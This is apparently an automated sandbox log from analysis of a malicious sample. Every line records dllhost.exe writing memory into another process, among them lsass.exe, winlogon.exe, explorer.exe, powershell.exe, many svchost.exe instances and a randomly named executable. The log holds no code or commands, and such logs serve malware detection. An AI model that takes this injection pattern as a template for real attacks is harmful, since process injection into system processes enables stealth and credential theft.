Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: A60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: B70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2DA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2900000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 6D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2CF0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 10C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 870000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2680000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 710000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 520000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 680000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 1110000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 1400000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A8C180000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 242BF650000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2578F260000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\cmd.exe base: 1B68BCF0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 1E591C90000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1CA7D1B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 2134E420000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 17D2DD20000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22F4B8F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 262F1CD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23942AE0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1EF056A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2287AD70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B94DA60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 25202540000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A9EBF90000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 19FF1600000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A76A170000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 14D26990000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2175D5C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B0AB960000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\$nya-onimai2\IhrFKM.exe base: 29FC5300000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2129B2A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26384180000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 25178730000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\$nya-onimai2\IhrFKM.exe base: 29FC5610000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 2A463AD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22125DC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 297A5D80000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2D0F41C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C325340000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AEFC900000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 270F3530000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D326280000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 16131E60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AE137C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C93A3B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E2E4190000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 1450000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AB68FA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 265951C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C263510000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2234E100000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 18198570000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1EF3C5C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 17ACFCF0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 19E8E330000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B5A2950000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD340C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B653790000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B19A0E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 24730B30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 15F35DA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\sihost.exe base: 200792F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 18CE9170000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D959540000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 18F1AC00000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FF01350000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 221D2530000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D400530000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\explorer.exe base: 8D00000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 27844DD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 258B00D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FA9A260000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dasHost.exe base: 1BFB71A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 26982020000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 185706E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1496A4A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 190043F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 16215D30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 159AD5E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 221570C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B8E5260000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 189090B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 24BB1240000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 28182CD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1BD9B7A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 24261410000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 1C7ADC40000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: 3CB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 242997D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 9F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 6D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 7F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: BA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: C80000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2A60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2830000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 610000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2A00000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: BD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2910000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 15E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 27C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: B10000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2CC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2A30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 1080000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2AB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 920000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: F20000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2FE0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 26A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 27F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 27E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2E80000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2AF0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 890000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 22A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2860000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 920000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: AA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: AD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2640000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: B40000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 1280000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 7E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: F00000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 10B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2CE0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2A00000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: C80000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: C20000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 26B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 540000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 1050000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: F30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2A70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 7D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 900000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2270000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: FE0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2040000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: A50000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 28D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2980000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 29A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: E70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 950000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 28A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: D60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2F00000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: CA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: A00000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 620000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 13D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 1300000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: C40000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2700000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: AD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 680000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 940000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: F40000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: C00000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2CE0000
